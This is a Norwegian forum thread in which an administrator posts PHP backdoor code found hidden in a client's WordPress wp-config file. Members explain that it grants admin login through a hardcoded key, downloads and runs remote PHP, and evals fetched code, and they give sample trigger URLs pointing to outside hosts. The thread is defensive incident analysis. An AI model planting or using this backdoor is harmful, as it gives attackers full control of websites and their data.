Kan noen forklare meg hva denne koden gjør?

Tonny Kluften

Administrator
Kan noen forklare meg hva denne koden gjør?



PHP:
if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == 'f033ab37c30201f73f142449d037029e'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}
 

Nextri

Rebel
Ser ut som kode som har tre mulige utfall.
1. Logge inn på wordpress som admin bruker
2. Laste ned en fil, lagre den på serveren, deretter redirekte til denne filen
3. Laste ned en fil med javascript, printe javascript kode på siden.

Ser med andre ord ondsinnet ut..
 

Nutz

Med lem
Den kodesnutten der ser ut som om den kan gjøre det meste ja..
Det den ikke har innebygd av funksjonalitet kan den laste opp.
(Den har mulighet til å opprette en random php-fil som er skrivbar, og selvfølgelig kjøre den)

Så jeg vil uten videre si at den gjør systemet pip-åpent til alt hva angriper har lyst til på din server.
 

Nextri

Rebel
Den bruker ikke noe spesifikk javascript fil fra noe sted, men en angriper kan kalle den filen og sende en url til scriptet. Denne urlen kan inneholde javascript

angriperen kan f.eks. gå til denne urlen:
domene.com/ondfil.php?pingnow=eval&url=http://www.ond.com/skadelig.js

Så den som angriper kan spesifisere kilden til den onde koden når han skal angripe

eller han kan gå til denne urlen for å bli logget inn på wordpress som admin:
domene.com/ondfil.php?pingnow=login&pass=f033ab37c30201f73f142449d037029e
 

Nutz

Med lem
PHP:
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
Denne snutten er absolutt den "styggeste".
En av grunnene til at man anbefaler at CURL er avslått dersom man ikke MÅ ha den.

h t t p://mittdomene.no/dettescript.php?pingnow=exec&file=http://pastebin.com/raw.php?i=e8QAsEyD/

Dette kjører et PHP-script som er lastet opp på pastebin.
 

Tonny Kluften

Administrator
Hvor fant du dette Tonny?

Jeg fant dette i wp-config til en som trengte hjelp med nettsida si.
Grunnen til at jeg lette etter uvanlige koder i filene var at han ikke fikk logget seg inn i WP admin og at WP ikke sendte noen epost for å skifte passord.

Dette kjører et PHP-script som er lastet opp på pastebin.
Pastebin, hvor?
 
Sist redigert:

Nutz

Med lem
Ja, "hacker" henter sin fil fra hvor han vil, lagrer den med et tilfeldig navn på server..
Fikk det ikke til å funke "OK" lokalt her, kanskje den eksterne filen må "pre-prosesseres" på en spesiell måte, ble mange MD5.php-filer på root (6c8349cc7260ae62e3b1396831a8398f.php) med fillengde 0.. Så noe feiler i det minste her.. :)
 

Nutz

Med lem
Det er "uvesentlig" egentlig hva du bytter ut, det er "bare" filnavn fra 1 .. 100 som er MD5 kodet, så "gutta" kan fort finne frem gyldig filnavn..

Men du kan finne ut hva de har stappet i den filene, innholdet av de filene er like "interessante".. :)
 

Pong

Jeg selger sʇɥƃıluʍop :)
Ah - hacker-hunt :)

CURL-koden henter php-koden til serveren som tekst og lagrer den i en fil. Filene heter da noe som f033ab37c30201f73f142449d037029e.php (som er bare en md5 av et tilfeldig tall mellom 0 og 100).
Serveren kan så kjøre koden siden det er lokal fil.

Så hvis du har noen slike filer på serveren hadde det vært kjekt å se på hva slags kode som ligger oppi de ja..
 

Nutz

Med lem
hehe.. Ja, nå er vi spente på hva "payload" er, -altså innholdet i de/den f033ab37c30201f73f142449d037029e.php-fila.

Tonny! -Du har bare å dele.. -Har man først sagt A, så må man ta hele alfabetet til Å også! :)

Edit:-Tonny postet mens jeg skrev.. (Hørtes nesten litt erotisk ut! :rolleyes: )
 
Topp